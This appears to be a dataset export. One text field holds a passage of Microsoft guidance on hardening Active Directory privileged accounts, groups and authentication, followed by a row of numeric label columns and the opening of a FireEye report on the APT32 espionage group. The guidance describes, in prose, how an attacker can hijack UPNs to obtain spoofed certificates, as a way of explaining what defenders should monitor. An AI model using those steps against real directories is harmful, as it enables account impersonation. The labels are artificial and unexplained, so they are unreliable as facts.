privileged account should be unique; if you create a local account with the same credentials on multiple workstations, you expose the computers to pass-the-hash attacks. In Applications In attacks in which the target is an organization's intellectual property, accounts that have been granted powerful privileges within applications can be targeted to allow exfiltration of data. Although the accounts that have access to sensitive data may have been granted no elevated privileges in the domain or the operating system, accounts that can manipulate the configuration of an application or access to the information the application provides present risk. In Data Repositories As is the case with other targets, attackers seeking access to intellectual property in the form of documents and other files can target the accounts that control access to the file stores, accounts that have direct access to the files, or even groups or roles that have access to the files. For example, if a file server is used to store contract documents and access is granted to the documents by the use of an Active Directory group, an attacker who can modify the membership of the group can add compromised accounts to the group and access the contract documents. In cases in which access to documents is provided by applications such as SharePoint, attackers can target the applications as described earlier. Reducing Privilege The larger and more complex an environment, the more difficult it is to manage and secure. In small organizations, reviewing and reducing privilege may be a relatively simple proposition, but each additional server, workstation, user account, and application in use in an organization adds another object that must be secured. Because it can be difficult or even impossible to properly secure every aspect of an organization's IT infrastructure, you should focus efforts first on the accounts whose privilege create the greatest risk, which are typically the built-in privileged accounts and groups in Active Directory, and privileged local accounts on workstations and member servers. Securing Local Administrator Accounts on Workstations and Member Servers Although this document focuses on securing Active Directory, as has been previously discussed, most attacks against the directory begin as attacks against individual hosts. Full guidelines for securing local groups on member systems cannot be provided, but the following recommendations can be used to help you secure the local Administrator accounts on workstations and member servers. Securing Local Administrator Accounts On all versions of Windows currently in mainstream support, the local Administrator account is disabled by default, which makes the account unusable for pass-the-hash and other credential theft attacks. However, in domains containing legacy operating systems or in which local Administrator accounts have been enabled, these accounts can be used as previously described to propagate compromise across member servers and workstations. For this reason, the following controls are recommended for all local Administrator accounts on domain-joined systems. Detailed instructions for implementing these controls are provided in Appendix H: Securing Local Administrator Accounts and Groups. Before implementing these settings, however, ensure that local Administrator accounts are not currently used in the environment to run services on computers or perform other activities for which these accounts should not be used. Test these settings thoroughly before implementing them in a production environment. Controls for Local Administrator Accounts Built-in Administrator accounts should never be used as service accounts on member servers, nor should they be used to log on to local computers (except in Safe Mode, which is permitted even if the account is disabled). The goal of implementing the settings described here is to prevent each computer's local Administrator account from being usable unless protective controls are first reversed. By implementing these controls and monitoring Administrator accounts for changes, you can significantly reduce the likelihood of success of an attack that targets local Administrator accounts. Configuring GPOs to Restrict Administrator Accounts on Domain-Joined Systems In one or more GPOs that you create and link to workstation and member server OUs in each domain, add the Administrator account to the following user rights in Computer Configuration\\Policies\\Windows Settings\\Security Settings\\Local Policies\\User Rights Assignments: Deny access to this computer from the network Deny log on as a batch job Deny log on as a service Deny log on through Remote Desktop Services When you add Administrator accounts to these user rights, specify whether you are adding the local Administrator account or the domain's Administrator account by the way that you label the account. For example, to add the NWTRADERS domain's Administrator account to these deny rights, you would type the account as NWTRADERS\\Administrator, or browse to the Administrator account for the NWTRADERS domain. To ensure that you restrict the local Administrator account, type Administrator in these user rights settings in the Group Policy Object Editor. Note Even if local Administrator accounts are renamed, the policies will still apply. These settings will ensure that a computer's Administrator account cannot be used to connect to the other computers, even if it is inadvertently or maliciously enabled. Local logons using the local Administrator account cannot be completely disabled, nor should you attempt to do so, because a computer's local Administrator account is designed to be used in disaster recovery scenarios. Should a member server or workstation become disjoined from the domain with no other local accounts granted administrative privileges, the computer can be booted into safe mode, the Administrator account can be enabled, and the account can then be used to effect repairs on the computer. When repairs are completed, the Administrator account should again be disabled. Securing Local Privileged Accounts and Groups in Active Directory Law Number Six: A computer is only as secure as the administrator is trustworthy. - Ten Immutable Laws of Security (Version 2.0) The information provided here is intended to give general guidelines for securing the highest privilege built-in accounts and groups in Active Directory. Detailed step-by-step instructions are also provided in Appendix D: Securing Built-In Administrator Accounts in Active Directory, Appendix E: Securing Enterprise Admins Groups in Active Directory, Appendix F: Securing Domain Admins Groups in Active Directory, and in Appendix G: Securing Administrators Groups in Active Directory. Before you implement any of these settings, you should also test all settings thoroughly to determine if they are appropriate for your environment. Not all organizations will be able to implement these settings. Securing Built-in Administrator Accounts in Active Directory In each domain in Active Directory, an Administrator account is created as part of the creation of the domain. This account is by default a member of the Domain Admins and Administrator groups in the domain, and if the domain is the forest root domain, the account is also a member of the Enterprise Admins group. Use of a domain's local Administrator account should be reserved only for initial build activities and, possibly, disaster-recovery scenarios. To ensure that a built-in Administrator account can be used to effect repairs in the event that no other accounts can be used, you should not change the default membership of the Administrator account in any domain in the forest. Instead, you should following guidelines to help secure the Administrator account in each domain in the forest. Detailed instructions for implementing these controls are provided in Appendix D: Securing Built-In Administrator Accounts in Active Directory. Controls for Built-in Administrator Accounts The goal of implementing the settings described here is to prevent each domain's Administrator account (not a group) from being usable unless a number of controls are reversed. By implementing these controls and monitoring the Administrator accounts for changes, you can significantly reduce the likelihood of a successful attack by leveraging a domain's Administrator account. For the Administrator account in each domain in your forest, you should configure the following settings. Enable the ""Account is sensitive and cannot be delegated"" flag on the account By default, all accounts in Active Directory can be delegated. Delegation allows a computer or service to present the credentials for an account that has authenticated to the computer or service to other computers to obtain services on behalf of the account. When you enable the Account is sensitive and cannot be delegated attribute on a domain-based account, the account's credentials cannot be presented to other computers or services on the network, which limits attacks that leverage delegation to use the account's credentials on other systems. Enable the ""Smart card is required for interactive logon"" flag on the account When you enable the Smart card is required for interactive logon attribute on an account, Windows resets the account's password to a 120-character random value. By setting this flag on built-in Administrator accounts, you ensure that the password for the account is not only long and complex, but is not known to any user. It is not technically necessary to create smart cards for the accounts before enabling this attribute, but if possible, smart cards should be created for each Administrator account prior to configuring the account restrictions and the smart cards should be stored in secure locations. Although setting the Smart card is required for interactive logon flag resets the account's password, it does not prevent a user with rights to reset the account's password from setting the account to a known value and using the account's name and new password to access resources on the network. Because of this, you should implement the following additional controls on the account. Configuring GPOs to Restrict Domains' Administrator Accounts on Domain-Joined Systems Although disabling the Administrator account in a domain makes the account effectively unusable, you should implement additional restrictions on the account in case the account is inadvertently or maliciously enabled. Although these controls can ultimately be reversed by the Administrator account, the goal is to create controls that slow an attacker's progress and limit the damage the account can inflict. In one or more GPOs that you create and link to workstation and member server OUs in each domain, add each domain's Administrator account to the following user rights in Computer Configuration\\Policies\\Windows Settings\\Security Settings\\Local Policies\\User Rights Assignments: Deny access to this computer from the network Deny log on as a batch job Deny log on as a service Deny log on through Remote Desktop Services Note When you add local Administrator accounts to this setting, you must specify whether you are configuring local Administrator accounts or domain Administrator accounts. For example, to add the NWTRADERS domain's local Administrator account to these deny rights, you must either type the account as NWTRADERS\\Administrator, or browse to the local Administrator account for the NWTRADERS domain. If you type Administrator in these user rights settings in the Group Policy Object Editor, you will restrict the local Administrator account on each computer to which the GPO is applied. We recommend restricting local Administrator accounts on member servers and workstations in the same manner as domain-based Administrator accounts. Therefore, you should generally add the Administrator account for each domain in the forest and the Administrator account for the local computers to these user rights settings. Configuring GPOs to Restrict Administrator Accounts on Domain Controllers In each domain in the forest, the Default Domain Controllers policy or a policy linked to the Domain Controllers OU should be modified to add each domain's Administrator account to the following user rights in Computer Configuration\\Policies\\Windows Settings\\Security Settings\\Local Policies\\User Rights Assignments: Deny access to this computer from the network Deny log on as a batch job Deny log on as a service Deny log on through Remote Desktop Services Note These settings will ensure that the local Administrator account cannot be used to connect to a domain controller, although the account, if enabled, can log on locally to domain controllers. Because this account should only be enabled and used in disaster-recovery scenarios, it is anticipated that physical access to at least one domain controller will be available, or that other accounts with permissions to access domain controllers remotely can be used. Configure Auditing of Built-in Administrator Accounts When you have secured each domain's Administrator account and disabled it, you should configure auditing to monitor for changes to the account. If the account is enabled, its password is reset, or any other modifications are made to the account, alerts should be sent to the users or teams responsible for administration of AD DS, in addition to incident response teams in your organization. Securing Administrators, Domain Admins and Enterprise Admins Groups Securing Enterprise Admin Groups The Enterprise Admins group, which is housed in the forest root domain, should contain no users on a day-to-day basis, with the possible exception of the domain's local Administrator account, provided it is secured as described earlier and in Appendix D: Securing Built-In Administrator Accounts in Active Directory. When EA access is required, the users whose accounts require EA rights and permissions should be temporarily placed into the Enterprise Admins group. Although users are using the highly privileged accounts, their activities should be audited and preferably performed with one user performing the changes and another user observing the changes to minimize the likelihood of inadvertent misuse or misconfiguration. When the activities have been completed, the accounts should be removed from the EA group. This can be achieved via manual procedures and documented processes, third-party privileged identity/access management (PIM/PAM) software, or a combination of both. Guidelines for creating accounts that can be used to control the membership of privileged groups in Active Directory are provided in Attractive Accounts for Credential Theft and detailed instructions are provided in Appendix I: Creating Management Accounts for Protected Accounts and Groups in Active Directory. Enterprise Admins are, by default, members of the built-in Administrators group in each domain in the forest. Removing the Enterprise Admins group from the Administrators groups in each domain is an inappropriate modification because in the event of a forest disaster-recovery scenario, EA rights will likely be required. If the Enterprise Admins group has been removed from Administrators groups in a forest, it should be added to the Administrators group in each domain and the following additional controls should be implemented: As described earlier, the Enterprise Admins group should contain no users on a day-to-day basis, with the possible exception of the forest root domain's Administrator account, which should be secured as described in Appendix D: Securing Built-In Administrator Accounts in Active Directory. In GPOs linked to OUs containing member servers and workstations in each domain, the EA group should be added to the following user rights: Deny access to this computer from the network Deny log on as a batch job Deny log on as a service Deny log on locally Deny log on through Remote Desktop Services. This will prevent members of the EA group from logging on to member servers and workstations. If jump servers are used to administer domain controllers and Active Directory, ensure that jump servers are located in an OU to which the restrictive GPOs are not linked. Auditing should be configured to send alerts if any modifications are made to the properties or membership of the EA group. These alerts should be sent, at a minimum, to users or teams responsible for Active Directory administration and incident response. You should also define processes and procedures for temporarily populating the EA group, including notification procedures when legitimate population of the group is performed. Securing Domain Admins Groups As is the case with the Enterprise Admins group, membership in Domain Admins groups should be required only in build or disaster-recovery scenarios. There should be no day-to-day user accounts in the DA group with the exception of the local Administrator account for the domain, if it has been secured as described in Appendix D: Securing Built-In Administrator Accounts in Active Directory. When DA access is required, the accounts needing this level of access should be temporarily placed in the DA group for the domain in question. Although the users are using the highly privileged accounts, activities should be audited and preferably performed with one user performing the changes and another user observing the changes to minimize the likelihood of inadvertent misuse or misconfiguration. When the activities have been completed, the accounts should be removed from the Domain Admins group. This can be achieved via manual procedures and documented processes, via third-party privileged identity/access management (PIM/PAM) software, or a combination of both. Guidelines for creating accounts that can be used to control the membership of privileged groups in Active Directory are provided in Appendix I: Creating Management Accounts for Protected Accounts and Groups in Active Directory. Domain Admins are, by default, members of the local Administrators groups on all member servers and workstations in their respective domains. This default nesting should not be modified because it affects supportability and disaster recovery options. If Domain Admins groups have been removed from the local Administrators groups on the member servers, they should be added to the Administrators group on each member server and workstation in the domain via restricted group settings in linked GPOs. The following general controls, which are described in depth in Appendix F: Securing Domain Admins Groups in Active Directory should also be implemented. For the Domain Admins group in each domain in the forest: Remove all members from the DA group, with the possible exception of the built-in Administrator account for the domain, provided it has been secured as described in Appendix D: Securing Built-In Administrator Accounts in Active Directory. In GPOs linked to OUs containing member servers and workstations in each domain, the DA group should be added to the following user rights: Deny access to this computer from the network Deny log on as a batch job Deny log on as a service Deny log on locally Deny log on through Remote Desktop Services This will prevent members of the DA group from logging on to member servers and workstations. If jump servers are used to administer domain controllers and Active Directory, ensure that jump servers are located in an OU to which the restrictive GPOs are not linked. Auditing should be configured to send alerts if any modifications are made to the properties or membership of the DA group. These alerts should be sent, at a minimum, to users or teams responsible for AD DS administration and incident response. You should also define processes and procedures for temporarily populating the DA group, including notification procedures when legitimate population of the group is performed. Securing Administrators Groups in Active Directory As is the case with the EA and DA groups, membership in the Administrators (BA) group should be required only in build or disaster-recovery scenarios. There should be no day-to-day user accounts in the Administrators group with the exception of the local Administrator account for the domain, if it has been secured as described in Appendix D: Securing Built-In Administrator Accounts in Active Directory. When Administrators access is required, the accounts needing this level of access should be temporarily placed in the Administrators group for the domain in question. Although the users are using the highly privileged accounts, activities should be audited and, preferably, performed with a user performing the changes and another user observing the changes to minimize the likelihood of inadvertent misuse or misconfiguration. When the activities have been completed, the accounts should immediately be removed from the Administrators group. This can be achieved via manual procedures and documented processes, via third-party privileged identity/access management (PIM/PAM) software, or a combination of both. Administrators are, by default, the owners of most of the AD DS objects in their respective domains. Membership in this group may be required in build and disaster recovery scenarios in which ownership or the ability to take ownership of objects is required. Additionally, DAs and EAs inherit a number of their rights and permissions by virtue of their default membership in the Administrators group. Default group nesting for privileged groups in Active Directory should not be modified, and each domain's Administrators group should be secured as described in Appendix G: Securing Administrators Groups in Active Directory, and in the general instructions below. Remove all members from the Administrators group, with the possible exception of the local Administrator account for the domain, provided it has been secured as described in Appendix D: Securing Built-In Administrator Accounts in Active Directory. Members of the domain's Administrators group should never need to log on to member servers or workstations. In one or more GPOs linked to workstation and member server OUs in each domain, the Administrators group should be added to the following user rights: Deny access to this computer from the network Deny log on as a batch job, Deny log on as a service This will prevent members of the Administrators group from being used to log on or connect to member servers or workstations (unless multiple controls are first breached), where their credentials could be cached and thereby compromised. A privileged account should never be used to log on to a less-privileged system, and enforcing these controls affords protection against a number of attacks. At the domain controllers OU in each domain in the forest, the Administrators group should be granted the following user rights (if they do not already have these rights), which will allow the members of the Administrators group to perform functions necessary for a forest-wide disaster recovery scenario: Access this computer from the network Allow log on locally Allow log on through Remote Desktop Services Auditing should be configured to send alerts if any modifications are made to the properties or membership of the Administrators group. These alerts should be sent, at a minimum, to members of the team responsible for AD DS administration. Alerts should also be sent to members of the security team, and procedures should be defined for modifying the membership of the Administrators group. Specifically, these processes should include a procedure by which the security team is notified when the Administrators group is going to be modified so that when alerts are sent, they are expected and an alarm is not raised. Additionally, processes to notify the security team when the use of the Administrators group has been completed and the accounts used have been removed from the group should be implemented. Note When you implement restrictions on the Administrators group in GPOs, Windows applies the settings to members of a computer's local Administrators group in addition to the domain's Administrators group. Therefore, you should use caution when implementing restrictions on the Administrators group. Although prohibiting network, batch and service logons for members of the Administrators group is advised wherever it is feasible to implement, do not restrict local logons or logons through Remote Desktop Services. Blocking these logon types can block legitimate administration of a computer by members of the local Administrators group. The following screenshot shows configuration settings that block misuse of built-in local and domain Administrator accounts, in addition to misuse of built-in local or domain Administrators groups. Note that the Deny log on through Remote Desktop Services user right does not include the Administrators group, because including it in this setting would also block these logons for accounts that are members of the local computer's Administrators group. If services on computers are configured to run in the context of any of the privileged groups described in this section, implementing these settings can cause services and applications to fail. Therefore, as with all of the recommendations in this section, you should thoroughly test settings for applicability in your environment. Role-Based Access Controls (RBAC) for Active Directory Generally speaking, role-based access controls (RBAC) are a mechanism for grouping users and providing access to resources based on business rules. In the case of Active Directory, implementing RBAC for AD DS is the process of creating roles to which rights and permissions are delegated to allow members of the role to perform day-to-day administrative tasks without granting them excessive privilege. RBAC for Active Directory can be designed and implemented via native tooling and interfaces, by leveraging software you may already own, by purchasing third-party products, or any combination of these approaches. This section does not provide step-by-step instructions to implement RBAC for Active Directory, but instead discusses factors you should consider in choosing an approach to implementing RBAC in your AD DS installations. Native Approaches to RBAC for Active Directory In the simplest RBAC implementation, you can implement roles as AD DS groups and delegate rights and permissions to the groups that allow them to perform daily administration within the designated scope of the role. In some cases, existing security groups in Active Directory can be used to grant rights and permissions appropriate to a job function. For example, if specific employees in your IT organization are responsible for the management and maintenance of DNS zones and records, delegating those responsibilities can be as simple as creating an account for each DNS administrator and adding it to the DNS Admins group in Active Directory. The DNS Admins group, unlike more highly privileged groups, has few powerful rights across Active Directory, although members of this group have been delegated permissions that allow them to administer DNS and is still subject to compromise and abuse could result in elevation of privilege. In other cases, you may need to create security groups and delegate rights and permissions to Active Directory objects, file system objects, and registry objects to allow members of the groups to perform designated administrative tasks. For example, if your Help Desk operators are responsible for resetting forgotten passwords, assisting users with connectivity problems, and troubleshooting application settings, you may need to combine delegation settings on user objects in Active Directory with privileges that allow Help Desk users to connect remotely to users' computers to view or modify the users' configuration settings. For each role you define, you should identify: Which tasks members of the role perform on a day-to-day basis and which tasks are less frequently performed. On which systems and in which applications members of a role should be granted rights and permissions. Which users should be granted membership in a role. How management of role memberships will be performed. In many environments, manually creating role-based access controls for administration of an Active Directory environment can be challenging to implement and maintain. If you have clearly defined roles and responsibilities for administration of your IT infrastructure, you may want to leverage additional tooling to assist you in creating a manageable native RBAC deployment. For example, if Forefront Identity Manager (FIM) is in use in your environment, you can use FIM to automate the creation and population of administrative roles, which can ease ongoing administration. If you use System Center Configuration Manager (SCCM) and System Center Operations Manager (SCOM), you can use application-specific roles to delegate management and monitoring functions, and also enforce consistent configuration and auditing across systems in the domain. If you have implemented a public key infrastructure (PKI), you can issue and require smart cards for IT staff responsible for administering the environment. With FIM Credential Management (FIM CM), you can even combine management of roles and credentials for your administrative staff. In other cases, it may be preferable for an organization to consider deploying third-party RBAC software that provides ""out-of-box"" functionality. Commercial, off-the-shelf (COTS) solutions for RBAC for Active Directory, Windows, and non-Windows directories and operating systems are offered by a number of vendors. When choosing between native solutions and third-party products, you should consider the following factors: Budget: By investing in development of RBAC using software and tools you may already own, you can reduce the software costs involved in deploying a solution. However, unless you have staff who are experienced in creating and deploying native RBAC solutions, you may need to engage consulting resources to develop your solution. You should carefully weigh the anticipated costs for a custom-developed solution with the costs to deploy an ""out-of-box"" solution, particularly if your budget is limited. Composition of the IT environment: If your environment is comprised primarily of Windows systems, or if you are already leveraging Active Directory for management of non-Windows systems and accounts, custom native solutions may provide the optimal solution for your needs. If your infrastructure contains many systems that are not running Windows and are not managed by Active Directory, you may need to consider options for management of non-Windows systems separately from the Active Directory environment. Privilege model in the solution: If a product relies on placement of its service accounts into highly privileged groups in Active Directory and does not offer options that do not require excessive privilege be granted to the RBAC software, you have not really reduced your Active Directory attack surface you've only changed the composition of the most privileged groups in the directory. Unless an application vendor can provide controls for service accounts that minimize the probability of the accounts being compromised and maliciously used, you may want to consider other options. Privileged Identity Management Privileged identity management (PIM), sometimes referred to as privileged account management (PAM) or privileged credential management (PCM) is the design, construction, and implementation of approaches to managing privileged accounts in your infrastructure. Generally speaking, PIM provides mechanisms by which accounts are granted temporary rights and permissions required to perform build-or-break fix functions, rather than leaving privileges permanently attached to accounts. Whether PIM functionality is manually created or is implemented via the deployment of third-party software one or more of the following features may be available: Credential ""vaults,"" where passwords for privileged accounts are ""checked out"" and assigned an initial password, then ""checked in"" when activities have been completed, at which time passwords are again reset on the accounts. Time-bound restrictions on the use of privileged credentials One-time-use credentials Workflow-generated granting of privilege with monitoring and reporting of activities performed and automatic removal of privilege when activities are completed or allotted time has expired Replacement of hard-coded credentials such as user names and passwords in scripts with application programming interfaces (APIs) that allow credentials to be retrieved from vaults as needed Automatic management of service account credentials Creating Unprivileged Accounts to Manage Privileged Accounts One of the challenges in managing privileged accounts is that, by default, the accounts that can manage privileged and protected accounts and groups are privileged and protected accounts. If you implement appropriate RBAC and PIM solutions for your Active Directory installation, the solutions may include approaches that allow you to effectively depopulate the membership of the most privileged groups in the directory, populating the groups only temporarily and when needed. If you implement native RBAC and PIM, however, you should consider creating accounts that have no privilege and with the only function of populating and depopulating privileged groups in Active Directory when needed. Appendix I: Creating Management Accounts for Protected Accounts and Groups in Active Directory provides step-by-step instructions that you can use to create accounts for this purpose. Implementing Robust Authentication Controls Law Number Six: There really is someone out there trying to guess your passwords. - 10 Immutable Laws of Security Administration Pass-the-hash and other credential theft attacks are not specific to Windows operating systems, nor are they new. The first pass-the-hash attack was created in 1997. Historically, however, these attacks required customized tools, were hit-or-miss in their success, and required attackers to have a relatively high degree of skill. The introduction of freely available, easy-to-use tooling that natively extracts credentials has resulted in an exponential increase in the number and success of credential theft attacks in recent years. However, credential theft attacks are by no means the only mechanisms by which credentials are targeted and compromised. Although you should implement controls to help protect you against credential theft attacks, you should also identify the accounts in your environment that are most likely to be targeted by attackers, and implement robust authentication controls for those accounts. If your most privileged accounts are using single factor authentication such as user names and passwords (both are ""something you know,"" which is one authentication factor), those accounts are weakly protected. All that an attacker needs is knowledge of the user name and knowledge of the password associated with the account, and pass-the-hash attacks are not required the attacker can authenticate as the user to any systems that accept single factor credentials. Although implementing multi-factor authentication does not protect you against pass-the-hash attacks, implementing multi-factor authentication in combination with protected systems can. More information about implementing protected systems is provided in Implementing Secure Administrative Hosts, and authentication options are discussed in the following sections. General Authentication Controls If you have not already implemented multi-factor authentication such as smart cards, consider doing so. Smart cards implement hardware-enforced protection of private keys in a public-private key pair, preventing a user's private key from being accessed or used unless the user presents the proper PIN, passcode, or biometric identifier to the smart card. Even if a user's PIN or passcode is intercepted by a keystroke logger on a compromised computer, for an attacker to reuse the PIN or passcode, the card must also be physically present. In cases in which long, complex passwords have proven difficult to implement because of user resistance, smart cards provide a mechanism by which users may implement relatively simple PINs or passcodes without the credentials being susceptible to brute force or rainbow table attacks. Smart card PINs are not stored in Active Directory or in local SAM databases, although credential hashes may still be stored in LSASS protected memory on computers on which smart cards have been used for authentication. Additional Controls for VIP Accounts Another benefit of implementing smart cards or other certificate-based authentication mechanisms is the ability to leverage Authentication Mechanism Assurance to protect sensitive data that is accessible to VIP users. Authentication Mechanism Assurance is available in domains in which the functional level is set to Windows Server 2012 or Windows Server 2008 R2. When it is enabled, Authentication Mechanism Assurance adds an administrator-designated global group membership to a user's Kerberos token when the user's credentials are authenticated during logon using a certificate-based logon method. This makes it possible for resource administrators to control access to resources, such as files, folders, and printers, based on whether the user logs on using a certificate-based logon method, in addition to the type of certificate used. For example, when a user logs on by using a smart card, the user's access to resources on the network can be specified as different from what the access is when the user does not use a smart card (that is, when the user logs on by entering a user name and password). For more information about Authentication Mechanism Assurance, see the Authentication Mechanism Assurance for AD DS in Windows Server 2008 R2 Step-by-Step Guide. Configuring Privileged Account Authentication In Active Directory for all administrative accounts, enable the Require smart card for interactive logon attribute, and audit for changes to (at a minimum), any of the attributes on the Account tab for the account (for example, cn, name, sAMAccountName, userPrincipalName, and userAccountControl) administrative user objects. Although setting the Require smart card for interactive logon on accounts resets the account's password to a 120-character random value and requires smart cards for interactive logons, the attribute can still be overwritten by users with permissions that allow them to change passwords on the accounts, and the accounts can then be used to establish non-interactive logons with only user name and password. In other cases, depending on the configuration of accounts in Active Directory and certificate settings in Active Directory Certificate Services (AD CS) or a third-party PKI, User Principal Name (UPN) attributes for administrative or VIP accounts can be targeted for a specific kind of attack, as described here. UPN Hijacking for Certificate Spoofing Although a thorough discussion of attacks against public key infrastructures (PKIs) is outside the scope of this document, attacks against public and private PKIs have increased exponentially since 2008. Breaches of public PKIs have been broadly publicized, but attacks against an organization's internal PKI are perhaps even more prolific. One such attack leverages Active Directory and certificates to allow an attacker to spoof the credentials of other accounts in a manner that can be difficult to detect. When a certificate is presented for authentication to a domain-joined system, the contents of the Subject or the Subject Alternative Name (SAN) attribute in the certificate are used to map the certificate to a user object in Active Directory. Depending on the type of certificate and how it is constructed, the Subject attribute in a certificate typically contains a user's common name (CN), as shown in the following screenshot. By default, Active Directory constructs a user's CN by concatenating the account's first name + "" ""+ last name. However, CN components of user objects in Active Directory are not required or guaranteed to be unique, and moving a user account to a different location in the directory changes the account's distinguished name (DN), which is the full path to the object in the directory, as shown in the bottom pane of the previous screenshot. Because certificate subject names are not guaranteed to be static or unique, the contents of the Subject Alternative Name are often used to locate the user object in Active Directory. The SAN attribute for certificates issued to users from enterprise certification authorities (Active Directory integrated CAs) typically contains the user's UPN or email address. Because UPNs are guaranteed to be unique in an AD DS forest, locating a user object by UPN is commonly performed as part of authentication, with or without certificates involved in the authentication process. The use of UPNs in SAN attributes in authentication certificates can be leveraged by attackers to obtain fraudulent certificates. If an attacker has compromised an account that has the ability to read and write UPNs on user objects, the attack is implemented as follows: The UPN attribute on a user object (such as a VIP user) is temporarily changed to a different value. The SAM account name attribute and CN can also be changed at this time, although this is usually not necessary for the reasons described earlier. When the UPN attribute on the target account has been changed, a stale, enabled user account or a freshly created user account's UPN attribute is changed to the value that was originally assigned to the target account. Stale, enabled user accounts are accounts that have not logged on for long periods of time, but have not been disabled. They are targeted by attackers who intend to ""hide in plain sight"" for the following reasons: Because the account is enabled, but hasn't been used recently, using the account is unlikely to trigger alerts the way that enabling a disabled user account might. Use of an existing account doesn't require the creation of a new user account that might be noticed by administrative staff. Stale user accounts that are still enabled are usually members of various security groups and are granted access to resources on the network, simplifying access and ""blending in"" to an existing user population. The user account on which the target UPN has now been configured is used to request one or more certificates from Active Directory Certificate Services. When certificates have been obtained for the attacker's account, the UPNs on the ""new"" account and the target account are returned to their original values. The attacker now has one or more certificates that can be presented for authentication to resources and applications as if the user is the VIP user whose account was temporarily modified. Although a full discussion of all of the ways in which certificates and PKI can be targeted by attackers is outside the scope of this document, this attack mechanism is provided to illustrate why you should monitor privileged and VIP accounts in AD DS for changes, particularly for changes to any of the attributes on the Account tab for the account (for example, cn, name, sAMAccountName, userPrincipalName, and userAccountControl). In addition to monitoring the accounts, you should restrict who can modify the accounts to as small a set of administrative users as possible. Likewise, the accounts of administrative users should be protected and monitored for unauthorized changes. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Feedback Send feedback about This product This page You may also leave feedback directly on GitHub . This page You may also leave feedback directly on GitHub . Liquid error: Can't find the localized string giveDocumentationFeedback for template Conceptual. Issue Title Leave a comment Submit feedback Loading feedback... There are no open issues There are no closed issues View on GitHub Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research Cyber Espionage is Alive and Well: APT32 and the T... Threat Research Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations May 14, 2017 | by Nick Carr Attack Malware APT Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests. APT32 and FireEye\xe2\x80\x99s Community Response In the course of investigations into intrusions at several corporations with business interests in Vietnam, FireEye\xe2\x80\x99s Mandiant incident response consultants uncovered activity and attacker-controlled infrastructure indicative of a significant intrusion campaign. In March 2017, in response to active targeting of FireEye clients, the team launched a Community Protection Event (CPE) \xe2\x80\x93 a coordinated effort between Mandiant incident responders, FireEye as a Service (FaaS), FireEye iSight Intelligence, and FireEye product engineering \xe2\x80\x93 to protect all clients from APT32 activity. In the following weeks, FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32\xe2\x80\x99s tools and phishing lures. This focused intelligence and detection effort led to new external victim identifications as well as providing sufficient technical evidence to link twelve prior intrusions, consolidating four previously unrelated clusters of threat actor activity into FireEye\xe2\x80\x99s newest named advanced persistent threat group: APT32. APT32 Targeting of Private Sector Company Operations in Southeast Asia Since at least 2014, FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam\xe2\x80\x99s manufacturing, consumer products, and hospitality sectors. Furthermore, there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations. Here is an overview of intrusions investigated by FireEye that are attributed to APT32: In 2014, a European corporation was compromised prior to constructing a manufacturing facility in Vietnam. In 2016, Vietnamese and foreign-owned corporations working in network security, technology infrastructure, banking, and media industries were targeted.\xc2 In mid-2016, malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam. From 2016 through 2017, two subsidiaries of U.S. and Philippine consumer products corporations, located inside Vietnam, were the 